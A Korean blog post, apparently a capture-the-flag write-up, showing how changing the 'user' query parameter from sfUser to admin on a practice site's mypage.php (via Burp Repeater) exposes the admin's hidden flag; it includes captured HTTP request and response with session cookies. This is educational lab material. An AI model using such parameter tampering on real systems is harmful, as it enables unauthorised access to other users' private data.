반응형
목표
admin 계정의 마이페이지에서 비밀 정보를 확인해보세요! :)
공격
공격순서
일단 마이페이지를 확인하고 내부 코드를 확인해본다
sfUser/sfUser1234로 로그인을 하고 마이페이지에 접근한후, 내부 코드를 살펴본다
요청코드
GET /auth7/mypage.php?user=sfUser HTTP/1.1
Host: ctf.segfaulthub.com:3481
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth7/index.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=0c7573fe-ca9d-49aa-9e6e-1807a1a768d4.l3ljYnqyXXAPtH-5LPhkm-MZ6Xc; PHPSESSID=51ug79hj0eqojpmrpi5lijdn8b
Connection: close
응답코드
HTTP/1.1 200 OK
Date: Wed, 21 Jun 2023 21:39:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1367
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="./css/style.css" rel = "stylesheet"/>
<title>Private Page</title>
</head>
<body>
<div class = "wrapper">
<div id = "login-form">
<div class = "head">개인정보</div>
<form method = "post" action = "mypage_update.php">
<div class = "hori">
<i class="far fa-user fa-2x"></i>
<input name = "id" type = "text" placeholder="sfUser"/>
</div>
<div class = "hori">
<i class="fas fa-birthday-cake fa-2x"></i>
<input name = "info" type = "text" placeholder="Nothing Here..."/>
</div>
<div class = "hori">
<i class="fas fa-lock fa-2x"></i>
<input name = "pw" type = "password" placeholder="변경할 비밀번호"/>
</div>
<div class = "hori"><input type = "submit" value = "Update" id = "signup-btnl"/></div>
</form>
</div>
</div>
<script
src="https://kit.fontawesome.com/6478f529f2.js"
crossorigin="anonymous"
></script>
</body>
</html>
요청코드를 살펴본다면, 피라미터로 사용자의 아이디를 받아서 응답이 실행되는것을 확인할수 있습니다. 만약 서버에서 피라미터로 확인을 한다면, 피라미터 우회를 시도해볼수 있습니다.
리피터를 이용한 피라미터 변조
burp suite의 리피터를 사용해서 user피라미터를 admin으로 변경하면 잘 실행되어 숨겨진 flag를 확인할수 있습니다.
아래 주소를 주소창에 넣어도 똑같습니다.
<http://ctf.segfaulthub.com:3481/auth7/mypage.php?user=admin>
정리
간단한 피라미터 변조로 해킹이 가능한 문제였습니다. 본래는 세션아이디를 사용해서 서버에서 정보를 보내야 하지만, 이렇게 피라미터를 받아서 검색하는 경우도 많습니다.
반응형
'old > Cyber Security' 카테고리의 다른 글
웹 해킹 예제: 인증과 인가 취약점_CTF: 권한 체크 피하기 (Hard) (0) | 2023.08.05 |
---|---|
웹 해킹 예제: 인증과 인가 취약점_CTF: Read (0) | 2023.08.05 |
웹 해킹 예제: 인증과 인가 취약점_CTF: 달콤한 마이페이지 훔쳐보기 (0) | 2023.08.05 |
burp suite으로 응답변조 하는 법 (0) | 2023.07.29 |
개발자 도구로 자바스크립트 함수 요청 하는 법 (0) | 2023.07.29 |